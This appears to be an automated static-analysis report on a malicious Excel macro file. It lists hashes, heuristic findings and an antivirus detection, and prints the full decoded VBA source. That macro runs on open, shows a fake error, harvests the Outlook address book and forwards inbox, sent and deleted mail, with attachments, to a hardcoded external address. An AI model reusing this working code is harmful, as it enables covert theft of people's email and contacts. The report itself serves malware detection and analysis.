Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17d1aed2d38da5a2…

MALICIOUS

Office (OLE)

37.5 KB Created: 2002-01-07 12:02:18 Authoring application: Microsoft Excel First seen: 2012-06-30
MD5: 2cc0b7a0b4fc9fd1b0d0d81aaf32781e SHA-1: 201c1422c9e1a9ed422205203653ebd2482823c7 SHA-256: 17d1aed2d38da5a24afe9730f941eb2daa7bb845686c4c25a26e28d53aaf9144
188 Risk Score

Heuristics 4

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
    '    Set objMail = objOutlook.CreateItem(olMailItem)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objOutlook = CreateObject("Outlook.Application")
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8449 bytes
SHA-256: b62d4e73de17b9be9fb8f6fce0091f45797a9bc83667891c3fbd0eacce10e17b
Detection
ClamAV: Win.Worm.VBS-213
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Const mstrRAIZ = "C:\"
Private Const mstrCOD = ",."
Private Const mstrBOX = "omarvelt@hotmail.com"

Private objOutlook As Object

Sub Main()
    Dim pobj As Object
    Dim pobjdoc As Object
    Dim pVect As Variant
    
    MsgBox "Error TR:194, File not found", vbOKOnly + vbCritical, "Windows"
    
    ThisWorkbook.Application.Visible = False

    Set objOutlook = CreateObject("Outlook.Application")

    LibretaDirecciones

    Bandejas

    Set objOutlook = Nothing
    
End Sub

Sub LibretaDirecciones()
    On Error Resume Next
    
    Dim pobjNameSp  As Object
    Dim pobjAddr    As Object
    Dim AddrEmail   As Object
    Dim pstrAdr     As String
    Dim ind         As Long
    
    Set NameSp = objOutlook.GetNamespace("MAPI")
    
    Set pobjAddr = NameSp.AddressLists
    
    For Each AddrEmail In pobjAddr
    
        If AddrEmail.AddressEntries.Count > 0 Then
        
            pstrAdr = vbNullString
            
            For ind = 1 To AddrEmail.AddressEntries.Count
            
                pstrAdr = pstrAdr & ";" & AddrEmail.AddressEntries.Item(ind).Address
                pstrAdr = pstrAdr & "(" & AddrEmail.AddressEntries.Item(ind).Name & ")" & vbCrLf
                
            Next
            
        End If
        
        Enviar "Libreta de Direcciones", pstrAdr
        
        'Tomar unicamente la primera Libreta de Direcciones
        Exit Sub
        
    Next
    
End Sub

'Sub EnviarAdjunto(ItemMail As Outlook.MailItem)
'    On Error Resume Next
'
'    Dim objMail     As Outlook.MailItem
'    Dim pstrFile    As String
'    Dim ind         As Long
'
'    Set objMail = objOutlook.CreateItem(olMailItem)
'
'    objMail.To = mstrBOX
'    objMail.Subject = ItemMail.Subject
'    objMail.Body = ItemMail.Body
'
'    With ItemMail
'
'        For ind = 1 To .Attachments.Count
'
'            pstrFile = mstrRAIZ & .Attachments.Item(1).FileName
'
'            .Attachments.Item(1).SaveAsFile pstrFile
'
'            objMail.Attachments.Add pstrFile
'
'        Next ind
'
'    End With
'
'    objMail.Attachments.Session.Logoff
'
'    objMail.DeleteAfterSubmit = True
'    objMail.Send
'
'    Set objMail = Nothing
'
'End Sub

Sub Enviar(pstrSubject As String, pstrBody As String)
    On Error Resume Next

    Dim objMail As Object

    Set objMail = objOutlook.CreateItem(olMailItem)

    objMail.To = mstrBOX
    objMail.Subject = pstrSubject
    objMail.Body = pstrBody

    objMail.DeleteAfterSubmit = True
    objMail.Send

    Set objMail = Nothing
    
End Sub

Private Sub Bandejas()
    On Error Resume Next
    
    Dim myNameSpace     As Object
    Dim pobjBEntrada    As Object
    Dim pobjBEnviados   As Object
    Dim pobjBElim       As Object
    Dim pobjMailItem    As Object
    Dim pstrBody        As String
    Dim ind             As Long
    Dim nMails          As Long
   
    Set myNameSpace = objOutlook.GetNamespace("MAPI")
    Set pobjBEntrada = myNameSpace.GetDefaultFolder(6)
    Set pobjBEnviados = myNameSpace.GetDefaultFolder(5)
    Set pobjBElim = myNameSpace.GetDefaultFolder(3)
    
    pstrBody = vbNullString
    nMails = 0
    
    'Bandeja de Entrada
    For ind = 1 To pobjBEntrada.Items.Count
    
        Set pobjMailItem = pobjBEntrada.Items(ind)
        
        If InStr(1, pobjMailItem.Subject, mstrCOD, vbTextCompare) > 0 Then
        
            pobjMailItem.Delete
            
        Else
        
            If pobjMailItem.Attachments.Count > 0 Then
               
                pobjMailItem.To = mstrBOX
                pobjMailItem.DeleteAfterSubmit = True
                pobjMailItem.Send
                
            Else
            
                pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
                pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
                pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf
                
                nMails = nMails + 1
                
                If nMails > 10 Then
                
                    Enviar "Bandeja de Entrada - Mails sin Adjuntos", pstrBody
                    
                    pstrBody = vbNullString
                    
                    nMails = 0
                
                End If
            
            End If
            
        End If
        
        Set pobjMailItem = Nothing
        
    Next ind
    
    If nMails > 0 Then Enviar "Bandeja de Entrada - Mails sin Adjuntos", pstrBody
    
    pstrBody = vbNullString
    nMails = 0
    
    'Elementos Enviados
    For ind = 1 To pobjBEnviados.Items.Count
    
        Set pobjMailItem = pobjBEnviados.Items(ind)
        
        If pobjMailItem.Attachments.Count > 0 Then
        
            pobjMailItem.To = mstrBOX
            'pobjMailItem.DeleteAfterSubmit = True
            pobjMailItem.Send
            
        Else
        
            pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
            pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
            pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf
            
            nMails = nMails + 1
            
            If nMails > 10 Then
            
                Enviar "Elementos Enviados - Mails sin Adjuntos", pstrBody
                
                pstrBody = vbNullString
                
                nMails = 0
            
            End If
        
        End If
        
        Set pobjMailItem = Nothing
        
    Next ind
    
    If nMails > 0 Then Enviar "Elementos Enviados - Mails sin Adjuntos", pstrBody

    pstrBody = vbNullString
    nMails = 0

    'Elementos Eliminados,
    For ind = 1 To pobjBElim.Items.Count

        Set pobjMailItem = pobjBElim.Items(ind)

        If InStr(1, pobjMailItem.Subject, mstrCOD, vbTextCompare) > 0 Then

            pobjMailItem.Delete

        Else

            If pobjMailItem.Attachments.Count > 0 Then

                pobjMailItem.To = mstrBOX
                'pobjMailItem.DeleteAfterSubmit = True
                pobjMailItem.Send

            Else

                pstrBody = pstrBody & " -------------------------------- MAIL " & ind & vbCrLf
                pstrBody = pstrBody & " -- Asunto: " & pobjMailItem.Subject & vbCrLf & vbCrLf
                pstrBody = pstrBody & pobjMailItem.Body & vbCrLf & vbCrLf

                nMails = nMails + 1

                If nMails > 10 Then

                    Enviar "Elementos Eliminados - Mails sin Adjuntos", pstrBody

                    pstrBody = vbNullString

                    nMails = 0

                End If

            End If

        End If

        Set pobjMailItem = Nothing

    Next ind

    If nMails > 0 Then Enviar "Elementos Eliminados - Mails sin Adjuntos", pstrBody
    
    Set pobjBEntrada = Nothing
    Set myBEnviados = Nothing
    Set myBElim = Nothing
    
End Sub

Private Sub Workbook_Open()
    Main
End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Hoja3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.